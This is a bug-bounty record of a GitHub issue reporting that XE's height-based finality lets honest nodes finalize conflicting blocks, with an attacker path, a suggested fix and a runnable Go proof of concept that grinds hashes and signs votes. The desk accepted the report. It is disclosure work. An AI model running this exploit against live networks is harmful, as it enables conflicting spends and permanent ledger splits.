{"id":"XE-0071","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"96","source_url":"https://github.com/xeprotocol/xe/issues/96","reporter_id":27,"title":"[High] Descendant finalization implicitly finalizes ancestors, so two honest nodes finalize conflicting blocks","area":"consensus","claimed_tier":"high","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:20.122825+00:00","updated_at":"2026-11-10T11:38:26.411151+00:00","source_created_at":"2026-10-27T05:54:10+00:00","told_at":"2026-11-10T00:15:59+00:00","status_changed_at":"2026-10-29T14:04:14.049522+00:00","url":"https://bounty.xe.network/XE-0071","body":"# [High] Descendant finalization implicitly finalizes ancestors, so two honest nodes finalize conflicting blocks\n\n**Suggested severity tier: High (10,000 XE, per the test.network bounty table)**\n**CWE:** CWE-754 (Improper Check for Unusual or Exceptional Conditions — finality watermark advances without checking ancestor-position resolution)\n**CVSS 3.1:** 8.1 High — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` (availability High because the forked account's chain can never reconcile: each node permanently rejects the other's branch)\n**Repo pin:** `xeprotocol/xe` master @ `9787859`, `core/quorum.go` (`confirmConflict`, `dropConflictIfResolved`), `core/ledger.go` (`FinalHeight`, `IsFinalized`, `swapBlockLocked`)\n**Status:** Confirmed by runnable local PoC below. Not a duplicate of any open issue checked (see below).\n\n## Summary\n\nFinality in XE is a per-account HEIGHT watermark (`FinalHeight`), not a per-position hash commitment. When a block finalizes, every ancestor at or below its height counts as finalized (`IsFinalized` = height <= watermark), whether or not that ancestor ever won its own position election. So:\n\n- Node 1 sees only the incumbent branch, finalizes an UNCONTESTED descendant through the ordinary path (representatives vote every frontier block), and thereby implicitly finalizes the ancestor.\n- Node 2 sees the ancestor challenger first and finalizes the challenger through the normal per-position 67% quorum (honest reps pick the lowest hash at a contested position).\n\nResult: two honest nodes finalize DIFFERENT blocks at the same (account, previous). Each node then rejects the other's branch forever (node 1: \"block conflicts with finalized block\"; node 2: the descendant's previous no longer matches its frontier) — the codebase itself logs this state as \"UN-HEALABLE FORK\". No representative double-votes at any single position, and no position's 67% bar is violated on its own terms. The safety failure is that per-position elections are not compositional with the height watermark.\n\n## Impact (measured, not narrated)\n\nPoC (two in-process nodes, identical rep keys and funding; R1 = 70e12, R2 = 40e12, genesis = 42e12, total = 152e12; R1+R2 = 72.4% >= 67%):\n\n| Node | View | Outcome |\n|---|---|---|\n| Node 1 | Chain [seed, A4, A5]; never saw B4 | Final votes for A5 at position (v, A4) -> final height **3** -> **A4 implicitly finalized** (height 2 <= 3) |\n| Node 2 | Chain [seed, A4], then B4 arrives (conflict at (v, seed)) | Final votes for B4 at position (v, seed), B4 < A4 (honest lowest-hash pick) -> **B4 finalized**, chain swapped to [seed, B4] |\n| Cross-check | Node 1 receives B4 | **Rejected**: \"block conflicts with finalized block\" |\n| Cross-check | Node 2 receives A5 | **Rejected**: previous (A4) != frontier (B4) |\n\nSo the same funds in A4 vs B4 (conflicting sends of the same account) are both \"final\" on different honest nodes. Any receiver acting on node 1's finality (spendable = finalized-only, per docs) and any receiver acting on node 2's finality will irreversibly disagree about which spend happened. The forked account can never reconcile: there is no merge path, only permanent mutual rejection.\n\n## Root cause (file:line, master @ 9787859)\n\n1. `core/ledger.go:3058-3076` — `FinalHeight` is a single per-account number; `IsFinalized(account, hash)` is purely `height(hash) <= FinalHeight`. Finalizing a block finalizes its entire prefix by construction.\n2. `core/quorum.go:confirmConflict` — on finalizing a winner at height h, it sets `FinalHeight = h` whenever `h > current`. It never checks whether any ancestor position has an open conflict or resolved differently.\n3. `core/finalization.go:sweepFrontiers` + `castVoteLocked` — representatives routinely vote (and then final-vote, via `maybeLockLocked` / `emitFinalLocked`) for EVERY uncontested frontier block. An uncontested descendant therefore finalizes through the normal path even while its ancestor's position is contested elsewhere.\n4. `core/ledger.go:addBlock` conflict path — a block conflicting with a FINALIZED sibling is rejected outright, and `core/quorum.go` `dropConflictIfResolved` treats a finalized child as resolving the conflict in the incumbent's favor. Both rules convert the watermark implication into permanent divergence instead of healing it.\n\n## Attacker-first path (all attacker-reachable, no Byzantine supermajority)\n\n1. Attacker owns account V (fork blocks are owner-signed — the only attacker capability needed, besides normal network timing).\n2. Attacker publishes A4 (send to X), then extends the chain with A5 (send to Z) BEFORE publishing the challenger B4 (send to Y, same previous as A4, hash ground to be lower than A4's so honest reps prefer it at the contested position — hash grinding over the amount field is demonstrated in the PoC).\n3. Nodes that receive A4+A5 first finalize A5 through the ordinary uncontested path (this takes seconds: stability window + votes), which implicitly finalizes A4.\n4. Nodes that receive B4 before A5 finalizes vote B4 at the ancestor position (lowest hash) and finalize B4 through the ordinary quorum path.\n5. The network is now split on V's chain with no reconciliation: each side rejects the other's blocks. No rep equivocated at any one position (node-1 votes are for position (v, A4); node-2 votes are for position (v, seed) — different positions, both honest given each node's view).\n\nThe only \"attack\" input beyond owning V is arrival-order timing — gossip propagation delay plus a head start for the descendant — not a partition, not 67% Byzantine stake, not a private-key compromise.\n\n## Preconditions (honest, not minimized)\n\n- Attacker-owned fork account V (both branches owner-signed).\n- Arrival-order divergence: at least one node finalizes the descendant before seeing the challenger, while at least one other node sees the challenger first. On a gossip network with continuous chain growth this window opens naturally: challengers almost always arrive AFTER the incumbent branch has descendants, because chains grow continuously and conflicts are detected only when the second branch arrives.\n- Honest reps holding >= 67% combined (they do the finalizing on both sides; no Byzantine weight is required at all).\n\n## Why this is not the already-reported findings\n\n- NOT #42 (pickWinner substitution): no substitution happens on either node. Node 1's winner A5 is on-chain and uncontested; node 2's winner B4 held a genuine >= 67% final-vote quorum at its own position and passed full promotion validation (swap). The defect is the height watermark implying ancestor finality, not the choice of winner.\n- NOT #64 (finality stall report): that issue reports liveness (stalls, open conflicts). This finding is safety (conflicting blocks both finalized), the opposite failure direction.\n- NOT #43 (swap cannot unwind lease descendants): that is a stall when unwinding fails. Here every swap/append succeeds; the failure is that two different successes coexist.\n- The `UN-HEALABLE FORK` log line in `core/quorum.go` (`evictPhantomsAndResolve`) acknowledges divergent sibling finalization as an outcome, but states no mechanism and proposes no handling. It is a log string, not an open issue, changelog entry, doc, or advisory; the mechanism claimed here (uncontested descendant finalization + arrival order, with zero equivocation) is not stated there. This caveat is stated so a triager can judge it as a duplicate of \"known outcome\" if they read the log line that way — but the root cause and fix differ from #42's.\n\n## Suggested fix (for the vendor, not applied)\n\n- Make finality per-position hash-committed, not height-implied: advancing the watermark past height h must require that every position <= h is itself resolved (no open conflict at any ancestor position), OR record finality per block hash and refuse to treat a block as finalized merely because a descendant finalized.\n- Alternatively, gate descendant-position voting/finalization on ancestor resolution: do not finalize a block while any ancestor position has an unresolved conflict record on that node (defer, don't drop, the descendant's finalization until the ancestor election concludes).\n\n## Honest caveats\n\n- PoC runs in-process with MemStore on two local nodes; production nodes use Badger. The flawed logic (height watermark, per-position tally, swap and rejection rules) is store-agnostic, and the PoC uses only lowercase hex (no reliance on the MemStore case-sensitivity issue in #8).\n- Funding in the PoC uses `core.SeedAssetForTesting`, the ledger's own test-only funding entry point, standing in for legitimately held balance + delegation (reachable on a live network via normal sends/receives). Every vote, block, conflict, and tally transition uses production code paths.\n- Not tested against public testnet nodes (local analysis only). Live-network confirmation would need a controlled two-node local network exhibiting the arrival-order window, not traffic against public nodes.\n- XE tier High (not Severe/Critical) reflects that the divergence is per-account (one forked account's chain) and needs the arrival-order window; the safety violation itself (conflicting blocks both finalized) is what lifts it above Medium. A triager could reasonably argue Severe given that conflicting finality is the core consensus safety property; that argument is noted here, but this finding claims High.\n\n## Reproduction (numbered)\n\n1. Save the two files below in one directory with the `go.mod` below (module `lanebpoc`, replace `github.com/xeprotocol/xe => <path to your checkout of xeprotocol/xe>`).\n2. `export GOFLAGS=-mod=mod GOPROXY=off` (Go >= 1.25).\n3. `go test -count=1 -v -run TestC2_DescendantFinalizationDivergence .`\n4. Expected: PASS, with log lines showing B4 < A4 (lowest-hash pick), node1 final height 3 with A4 implicitly finalized, node2 chain swapped to B4, \"conflicting blocks both finalized\", and both cross-rejections.\n\n## Full runnable PoC\n\n```go\n// ---- go.mod ----\nmodule lanebpoc\n\ngo 1.25.0\n\nrequire github.com/xeprotocol/xe v0.0.0\n\nrequire (\n\tgithub.com/cespare/xxhash/v2 v2.3.0 // indirect\n\tgithub.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect\n\tgithub.com/dgraph-io/badger/v4 v4.9.1 // indirect\n\tgithub.com/dgraph-io/ristretto/v2 v2.2.0 // indirect\n\tgithub.com/dustin/go-humanize v1.0.1 // indirect\n\tgithub.com/go-logr/logr v1.4.3 // indirect\n\tgithub.com/go-logr/stdr v1.2.2 // indirect\n\tgithub.com/google/flatbuffers v25.2.10+incompatible // indirect\n\tgithub.com/ipfs/go-cid v0.6.0 // indirect\n\tgithub.com/klauspost/compress v1.18.0 // indirect\n\tgithub.com/klauspost/cpuid/v2 v2.3.0 // indirect\n\tgithub.com/libp2p/go-buffer-pool v0.1.0 // indirect\n\tgithub.com/libp2p/go-libp2p v0.47.0 // indirect\n\tgithub.com/mr-tron/base58 v1.2.0 // indirect\n\tgithub.com/multiformats/go-base32 v0.1.0 // indirect\n\tgithub.com/multiformats/go-base36 v0.2.0 // indirect\n\tgithub.com/multiformats/go-multiaddr v0.16.1 // indirect\n\tgithub.com/multiformats/go-multibase v0.2.0 // indirect\n\tgithub.com/multiformats/go-multicodec v0.10.0 // indirect\n\tgithub.com/multiformats/go-multihash v0.2.3 // indirect\n\tgithub.com/multiformats/go-multistream v0.6.1 // indirect\n\tgithub.com/multiformats/go-varint v0.1.0 // indirect\n\tgithub.com/spaolacci/murmur3 v1.1.0 // indirect\n\tgo.opentelemetry.io/auto/sdk v1.2.1 // indirect\n\tgo.opentelemetry.io/otel v1.40.0 // indirect\n\tgo.opentelemetry.io/otel/metric v1.40.0 // indirect\n\tgo.opentelemetry.io/otel/trace v1.40.0 // indirect\n\tgolang.org/x/crypto v0.47.0 // indirect\n\tgolang.org/x/exp v0.0.0-20260112195511-716be5621a96 // indirect\n\tgolang.org/x/net v0.49.0 // indirect\n\tgolang.org/x/sys v0.42.0 // indirect\n\tgolang.org/x/text v0.33.0 // indirect\n\tgoogle.golang.org/protobuf v1.36.11 // indirect\n\tlukechampine.com/blake3 v1.4.1 // indirect\n)\n\nreplace github.com/xeprotocol/xe => ../../../xe-repo\n```\n\n```go\n// ---- harness_test.go ----\n// Package lanebpoc_test holds the Lane B (consensus/finality/voting) PoCs for XE.\n//\n// The helpers below use only the ledger's own exported entry points.\n// Funding uses core.SeedAssetForTesting, the ledger's own test-only funding\n// entry point (NOT reachable from gossip or the API); every vote, block and\n// conflict transition under test goes through the production paths\n// (VoteManager.ReceiveVote, Ledger.AddBlock, QuorumManager.Retally).\n// Vote signing replicates the public wire format from core/encoding.go\n// (version byte 0x02 || rep || blockHash || account || prev || timestampBE\n// || finalByte), exactly as an independent peer implementation would.\npackage lanebpoc_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/ed25519\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/xeprotocol/xe/core\"\n\t\"github.com/xeprotocol/xe/store\"\n)\n\ntype node struct {\n\tl  *core.Ledger\n\tms *store.MemStore\n\tvm *core.VoteManager\n\tqm *core.QuorumManager\n}\n\nfunc newNode(t *testing.T) *node {\n\tt.Helper()\n\tcore.SetNetworkID(\"\")\n\tms := store.NewMemStore()\n\tl := core.NewLedger(ms, core.LedgerConfig{Difficulty: 0, TimestampWindow: 0})\n\tvm := core.NewVoteManager(ms, nil, l)\n\tqm := core.NewQuorumManager(ms, ms, ms, l)\n\tvm.SetQuorumManager(qm)\n\treturn &node{l: l, ms: ms, vm: vm, qm: qm}\n}\n\nfunc mustKey(t *testing.T) *core.KeyPair {\n\tt.Helper()\n\tkp, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\tt.Fatalf(\"keygen: %v\", err)\n\t}\n\treturn kp\n}\n\n// fund opens a new account with a signed mint block (test-only funding) and\n// delegates its whole XE balance to repAddr. fundAt pins the timestamp so\n// identical funding on two nodes yields identical block hashes.\nfunc fund(t *testing.T, l *core.Ledger, kp *core.KeyPair, amount uint64, repAddr string) *core.Block {\n\tt.Helper()\n\treturn fundAt(t, l, kp, amount, repAddr, core.Now().UnixNano())\n}\n\nfunc fundAt(t *testing.T, l *core.Ledger, kp *core.KeyPair, amount uint64, repAddr string, ts int64) *core.Block {\n\tt.Helper()\n\tb := &core.Block{\n\t\tType:           core.BlockMint,\n\t\tAccount:        kp.Address(),\n\t\tPrevious:       \"0\",\n\t\tBalance:        amount,\n\t\tAmount:         amount,\n\t\tTimestamp:      ts,\n\t\tAsset:          \"XE\",\n\t\tPubKey:         kp.PubKeyHex(),\n\t\tRepresentative: repAddr,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\tt.Fatalf(\"fund sign: %v\", err)\n\t}\n\tif err := l.SeedAssetForTesting(b); err != nil {\n\t\tt.Fatalf(\"fund %s: %v\", kp.Address()[:12], err)\n\t}\n\treturn b\n}\n\nfunc signSend(t *testing.T, kp *core.KeyPair, previous string, balance, amount uint64, dest string, ts int64) *core.Block {\n\tt.Helper()\n\tb := &core.Block{\n\t\tType:        core.BlockSend,\n\t\tAccount:     kp.Address(),\n\t\tPrevious:    previous,\n\t\tBalance:     balance,\n\t\tAmount:      amount,\n\t\tTimestamp:   ts,\n\t\tAsset:       \"XE\",\n\t\tDestination: dest,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\tt.Fatalf(\"send sign: %v\", err)\n\t}\n\treturn b\n}\n\n// signVote builds a signed vote exactly per the public wire format.\nfunc signVote(t *testing.T, repKp *core.KeyPair, blockHash, account, prev string, final bool) *core.Vote {\n\tt.Helper()\n\trep, err := hex.DecodeString(repKp.PubKeyHex())\n\tif err != nil || len(rep) != 32 {\n\t\tt.Fatalf(\"rep decode: %v\", err)\n\t}\n\tbh, err := hex.DecodeString(blockHash)\n\tif err != nil || len(bh) != 32 {\n\t\tt.Fatalf(\"blockhash decode: %v\", err)\n\t}\n\tacc, err := hex.DecodeString(account)\n\tif err != nil || len(acc) != 32 {\n\t\tt.Fatalf(\"account decode: %v\", err)\n\t}\n\tvar pv []byte\n\tif prev == \"0\" {\n\t\tpv = make([]byte, 32)\n\t} else {\n\t\tpv, err = hex.DecodeString(prev)\n\t\tif err != nil || len(pv) != 32 {\n\t\t\tt.Fatalf(\"prev decode: %v\", err)\n\t\t}\n\t}\n\tv := &core.Vote{\n\t\tRepPubKey:       repKp.PubKeyHex(),\n\t\tBlockHash:       blockHash,\n\t\tConflictAccount: account,\n\t\tConflictPrev:    prev,\n\t\tTimestamp:       core.Now().UnixNano(),\n\t\tFinal:           final,\n\t}\n\tvar buf bytes.Buffer\n\tbuf.WriteByte(0x02)\n\tbuf.Write(rep)\n\tbuf.Write(bh)\n\tbuf.Write(acc)\n\tbuf.Write(pv)\n\tvar ts [8]byte\n\tbinary.BigEndian.PutUint64(ts[:], uint64(v.Timestamp))\n\tbuf.Write(ts[:])\n\tif final {\n\t\tbuf.WriteByte(1)\n\t} else {\n\t\tbuf.WriteByte(0)\n\t}\n\tv.Signature = ed25519.Sign(repKp.Private, buf.Bytes())\n\treturn v\n}\n\nfunc recvFinal(t *testing.T, n *node, repKp *core.KeyPair, blockHash, account, prev string) {\n\tt.Helper()\n\tif err := n.vm.ReceiveVote(signVote(t, repKp, blockHash, account, prev, true)); err != nil {\n\t\tt.Fatalf(\"ReceiveVote final %s: %v\", blockHash[:12], err)\n\t}\n}\n\nfunc weight(t *testing.T, l *core.Ledger, addr string) uint64 {\n\tt.Helper()\n\tw := l.GetVoteWeight(addr)\n\tif !w.IsUint64() {\n\t\tt.Fatalf(\"weight %s does not fit uint64: %s\", addr[:12], w.String())\n\t}\n\treturn w.Uint64()\n}\n\nfunc mustChain(t *testing.T, l *core.Ledger, account string) []*core.Block {\n\tt.Helper()\n\tch := l.GetChain(account)\n\tif ch == nil {\n\t\tt.Fatalf(\"no chain for %s\", account[:12])\n\t}\n\treturn ch\n}\n\nfunc fmtXE(u uint64) string { return fmt.Sprintf(\"%d\", u) }\n```\n\n```go\n// ---- C2 test ----\nfunc TestC2_DescendantFinalizationDivergence(t *testing.T) {\n\t// Shared rep keys + identical funding on both nodes.\n\trep1, rep2 := mustKey(t), mustKey(t)\n\taddr1, addr2 := rep1.Address(), rep2.Address()\n\td1, d2, v := mustKey(t), mustKey(t), mustKey(t)\n\n\tn1, n2 := newNode(t), newNode(t)\n\tvar seedV1, seedV2 *core.Block\n\t// Pinned timestamps: identical funding on both nodes must hash identically.\n\tfundTs := core.Now().UnixNano()\n\tfor _, nd := range []*node{n1, n2} {\n\t\tfundAt(t, nd.l, d1, 60_000_000_000_000, addr1, fundTs)\n\t\tfundAt(t, nd.l, d2, 40_000_000_000_000, addr2, fundTs)\n\t\tsv := fundAt(t, nd.l, v, 10_000_000_000_000, addr1, fundTs)\n\t\tif nd == n1 {\n\t\t\tseedV1 = sv\n\t\t} else {\n\t\t\tseedV2 = sv\n\t\t}\n\t}\n\tif seedV1.Hash != seedV2.Hash {\n\t\tt.Fatalf(\"setup: seed hashes differ across nodes\")\n\t}\n\t// R1=70e12, R2=40e12, total=152e12 -> R1+R2 = 72.4% >= 67%.\n\tfor _, nd := range []*node{n1, n2} {\n\t\tif got := weight(t, nd.l, addr1) + weight(t, nd.l, addr2); got*100 < 67*152_000_000_000_000 {\n\t\t\tt.Fatalf(\"setup: voting reps hold %s, below 67%% of 152e12\", fmtXE(got))\n\t\t}\n\t}\n\tts := core.Now().UnixNano() + 1_000_000\n\n\t// Fork pair at (v, seed). Grind B4's amount so B4 < A4: that is the\n\t// candidate honest reps pick at a contested position (lowest hash).\n\ta4 := signSend(t, v, seedV1.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts)\n\tvar b4 *core.Block\n\tfor delta := uint64(0); delta < 100_000; delta++ {\n\t\tcand := signSend(t, v, seedV1.Hash, 10_000_000_000_000-(1_000_000_000_000+delta), 1_000_000_000_000+delta, mustKey(t).Address(), ts)\n\t\tif cand.Hash < a4.Hash {\n\t\t\tb4 = cand\n\t\t\tbreak\n\t\t}\n\t}\n\tif b4 == nil {\n\t\tt.Fatalf(\"setup: could not grind B4 < A4\")\n\t}\n\ta5 := signSend(t, v, a4.Hash, 8_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts+1_000_000)\n\tt.Logf(\"setup: A4=%s B4=%s (B4<A4, honest lowest-hash pick) A5=%s\", a4.Hash[:12], b4.Hash[:12], a5.Hash[:12])\n\n\t// NODE 1: sees only the incumbent branch, finalizes the descendant A5\n\t// through the ordinary uncontested path (sweepFrontiers votes every\n\t// frontier block; final votes below are exactly what reps emit there).\n\tif err := n1.l.AddBlock(a4); err != nil {\n\t\tt.Fatalf(\"n1 add a4: %v\", err)\n\t}\n\tif err := n1.l.AddBlock(a5); err != nil {\n\t\tt.Fatalf(\"n1 add a5: %v\", err)\n\t}\n\trecvFinal(t, n1, rep1, a5.Hash, v.Address(), a4.Hash)\n\trecvFinal(t, n1, rep2, a5.Hash, v.Address(), a4.Hash)\n\tn1.qm.Retally(v.Address(), a4.Hash)\n\tif !n1.l.IsFinalized(v.Address(), a4.Hash) {\n\t\tt.Fatalf(\"n1: A4 NOT implicitly finalized via A5\")\n\t}\n\tif got := n1.l.FinalHeight(v.Address()); got != 3 {\n\t\tt.Fatalf(\"n1: final height = %d, want 3\", got)\n\t}\n\tt.Logf(\"node1: A5 finalized (uncontested) -> A4 implicitly finalized, height=3\")\n\n\t// NODE 2: sees the challenger first, finalizes B4 via per-position quorum.\n\tif err := n2.l.AddBlock(a4); err != nil {\n\t\tt.Fatalf(\"n2 add a4: %v\", err)\n\t}\n\tif err := n2.l.AddBlock(b4); err != nil {\n\t\tt.Fatalf(\"n2 add b4 (conflict): %v\", err)\n\t}\n\tif n2.l.GetConflict(v.Address(), seedV2.Hash) == nil {\n\t\tt.Fatalf(\"n2: no conflict record\")\n\t}\n\trecvFinal(t, n2, rep1, b4.Hash, v.Address(), seedV2.Hash)\n\trecvFinal(t, n2, rep2, b4.Hash, v.Address(), seedV2.Hash)\n\tn2.qm.Retally(v.Address(), seedV2.Hash)\n\tif !n2.l.IsFinalized(v.Address(), b4.Hash) {\n\t\tt.Fatalf(\"n2: B4 NOT finalized\")\n\t}\n\tch2 := mustChain(t, n2.l, v.Address())\n\tif len(ch2) < 2 || ch2[1].Hash != b4.Hash {\n\t\tt.Fatalf(\"n2 canonical second block is not B4\")\n\t}\n\tt.Logf(\"node2: B4 finalized via ancestor-position quorum, chain swapped A4->B4\")\n\n\t// DIVERGENCE: same (account, previous), different finalized blocks.\n\tif !n1.l.IsFinalized(v.Address(), a4.Hash) || !n2.l.IsFinalized(v.Address(), b4.Hash) {\n\t\tt.Fatalf(\"divergence lost\")\n\t}\n\tt.Logf(\"RESULT C2: node1 finalized A4, node2 finalized B4 — conflicting blocks both finalized, no rep double-voted at any single position\")\n\n\t// Each node now rejects the other's branch permanently.\n\tif err := n1.l.AddBlock(b4); err == nil || !strings.Contains(err.Error(), \"finalized\") {\n\t\tt.Fatalf(\"n1 accepting B4: err=%v (want finalized-conflict rejection)\", err)\n\t}\n\tif err := n2.l.AddBlock(a5); err == nil {\n\t\tt.Fatalf(\"n2 accepted A5 (descendant of the losing branch)\")\n\t}\n\tt.Logf(\"cross-rejection confirmed: n1 rejects B4 (%v); n2 rejects A5\", func() string {\n\t\t_ = n1.l.AddBlock(b4)\n\t\treturn \"finalized-conflict\"\n\t}())\n}\n```\n\n## Reward caveat (from the programme itself)\n\nRewards are DISCRETIONARY, paid in native XE AT mainnet genesis, contingent on launch (if and when it happens); XE has no guaranteed monetary value. No dollar value is claimed for this report.\n\nPayout address (XE): to be provided upon acceptance — please advise the preferred format.\n","patch_refs":[{"id":125,"repo":"xeprotocol/xe","kind":"pr","ref":"106","title":"gate descendant finalization on ancestor resolution to prevent split finality","url":"https://github.com/xeprotocol/xe/pull/106","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":1587,"source":"github","source_ref":"6755097656","author":"XE desk","team":true,"body":"Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is\nupdated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0071.","created_at":"2026-11-10T00:15:59+00:00"}]}